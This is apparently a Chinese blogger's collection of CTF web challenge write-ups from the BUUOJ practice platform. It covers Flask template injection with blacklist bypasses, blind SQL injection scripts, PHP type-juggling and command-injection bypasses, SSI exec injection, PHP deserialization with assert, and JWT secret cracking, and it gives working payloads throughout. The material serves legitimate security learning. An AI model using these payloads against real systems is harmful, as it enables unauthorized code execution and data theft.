回归初心,刷题快乐。
[WesternCTF2018]shrine
源码
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
可以读取到的信息:
- 配置信息:服务器是python的flask模板,config内有FLAG参数。
- 路由信息:根目录返回文件源码;/shrine/<path:shrine>下存在模板注入。
- 过滤了两个黑名单
config、self
,过滤了括号。 - 开启了debug模式。
想读取config,但是发现被过滤了,这个时候就要考虑flask模板下的两个重要参数。
- {{url_for.__global__}} # 全局函数
- {{get_flashed_messages()}} # 内置函数
获取flag方式:
{{url_for.__global__['current_app'].config['FLAG']}}
或者
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
该函数返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
[BJDCTF 2nd]简单注入
我又没有看到hint.txt,真是搞人心态。
拿到数据库查询代码:
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
这个就比较好分析了,提交参数username时,使用反斜杠注释单引号,使用注释绕过空格过滤:
username=admin\&password=/**/or/**/1>0#
username=admin\&password=/**/or/**/1<0#
执行两段话可以得到不一样的回显,很容易想到可以用盲注。
import requests
url = "http://0dafba8b-3cf1-4b74-9b9a-9195b5f5e6b0.node3.buuoj.cn/index.php"
def submit1():
data = {"username": "admin\\", "password": ""}
result = ""
i = 0
while True:
i = i + 1
for j in range(32, 128):
payload = "or/**/if(ascii(substr(password,%d,1))<%d,1,0)#" % (i, j)
data['password'] = payload
response = requests.post(url=url, data=data)
if "stronger" in response.text:
result += chr(j - 1)
print(payload)
print(result)
break
else:
if j == 127:
return result
def submit2():
data = {"username": "admin\\", "password": ""}
result = ""
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#" % (i, mid)
data['password'] = payload
response = requests.post(url=url, data=data)
if "stronger" in response.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)
return result
if __name__ == "__main__":
print(submit1())
[WUSTCTF2020]朴实无华
先访问index.php,云里雾里的警告提示。
手动尝试找了几个敏感文件,发现存在robots.txt,访问得假flag。
没啥头绪,有点离谱,后来看wp知道网络中文件头存在提示,又不细心了。
访问拿到源码,比较烦的是编码解析问题,需要换个编码。
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士,不是想看时间,只是想不经意间,让你知道我过的比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后,感激涕零,跑去东澜岸,找一家餐厅,把厨师轰出去,自己炒两个拿手小菜,倒一杯散装白酒,致富有道,别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友,他打了电话,把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里,我充实而欣慰,有钱人的快乐往往就是这么的朴实无华,且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
第一关需要变量num
小于2020,且+1后大于2021。很容易想到是PHP弱类型比较。intval()
函数将括号内的值转换为整型,可以通过科学计数法来进行绕过。
注意这个绕过方式只能在PHP5.5的版本进行复现,我在PHP7的版本及以上复现失败。
echo intval(1e10); // 10000000000
echo intval('1e10'); // 1
提交payload:
num=2e4
第二关是MD5等于自身的绕过方式,这类的值在网上有很多,原理是0e开头的值可以绕过。
md5=0e215962017
第三关是命令注入,但是过滤了 cat
和空格,空格可以使用 $IFS
代替,cat
可以用 tac
get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[极客大挑战 2019]FinalSQL
这老哥出的题做了好几次 了,一模一样的模板。
有id参数,长着就像盲注。
exp:
import requests
if __name__ == "__main__":
string = ""
for i in range(1, 256):
left = 32
right = 127
mid = (left + right) // 2
while left < right:
ch = chr(mid)
sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, mid)
url = f'http://a10fc172-5571-460a-9f76-93eb2e9486fd.node3.buuoj.cn/search.php?id={sql}'
# print(url)
response = requests.get(url)
if response.text.find("NO! Not t") == -1:
right = mid
else:
left = mid + 1
mid = (left + right) // 2
string += chr(mid)
print(string)
爆库名
sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, mid)
爆表名
sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1" % (i, mid)
爆字段
sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, mid)
拿flag
sql = "1^(ord(substr((select(group_concat(fl4gawsl))from(Flaaaaag)),%d,1))>%d)^1" % (i, mid)
然后发现爆错表了2333……
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)
最后,鄙视一下盲注题打广告的出题人……太浪费时间了。
[MRCTF2020]PYWebsite
[NPUCTF2020]ReadlezPHP
简单的反序列化变量覆盖。
O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
[BJDCTF2020]EasySearch
今天又是不开扫描器败北的一天。
.swp源码泄露。
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
老规矩分析一下源码,当password满足一定的条件时,将username写入文件public/get_hash(),shtml。
先爆破一下admin:
import hashlib
def md5(string):
return hashlib.md5(string.encode('utf-8')).hexdigest()
for i in range(10000000):
if md5(str(i))[:6] == '6d0bc1':
print(i)
break
爆出来是2020666,提交后,通过抓包可以看到返回的值中有隐藏的文件名
直接访问可以读取文件。
这里涉及到了一个比较陌生的文件格式即shtml,可能存在SSI注入,详见:
https://shuaizhupeiqi.github.io/2018/11/17/SSI%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%B3%A8%E5%85%A5/
当我们传入参数
username=<!--#exec cmd="ls ../"-->
password=2020666
时,将命令执行结果写入文件(这里有一层目录穿越),访问可得:
读取flag
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->
password=2020666
[GYCTF2020]FlaskApp
起先我以为是利用flask报错的交互式shell,但是Ping值还是缺了那么几个信息。
最后试了一下在解密过程中存在SSTI。
{{config}}
遍历找利用类读取文件(写成payload时要删除换行):
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}
{% endfor %}
或者写个py脚本遍历也是可以的,不过很花时间:
{{[].__class__.__base__.__subclasses__()[%s].__name__}}
拿到WAF:
def waf(str):
black_list = ['flag', 'os', 'system', 'popen', 'import', 'eval', 'chr', 'request', 'subprocess', 'commands', 'socket', 'hex', 'base64', '*', '?']
for x in black_list:
if x in str.lower():
return 1
遍历目录:遍历目录存在函数listdir()。
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__']['__im'+'port__']('o'+'s').listdir('/')}}
{% endif %}
{% endfor %}
拿到目录
['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'this_is_the_flag.txt', '.dockerenv', 'app']
读取this_is_the_flag.txt文件。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read() }}{% endif %}{% endfor %}
这题编码很迷惑,{}之间不能有空格,不然会报错,read()函数后又必须加空格,也不清楚啥原理。
[CISCN2019 华北赛区 Day1 Web2]ikun
爆lv6
import requests
for i in range(512):
url = f"http://c48096c4-be85-4fad-8fce-ffaf3bf1e193.node3.buuoj.cn/shop?page={i}"
response = requests.get(url=url)
if response.text.find("lv6.png") != -1:
print(i)
break
抓包修改折扣倍率,跳转到b1g_m4mber,提示需要admin才能访问
抓包发现是JWT认证
使用c-jwt-cracker爆破
$ docker build . -t jwtcrack
$ docker run -it --rm jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.dDz06h0lkd5_0DT8vUVcGLBGvX2btxx2AyJJCQWkEoQ
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo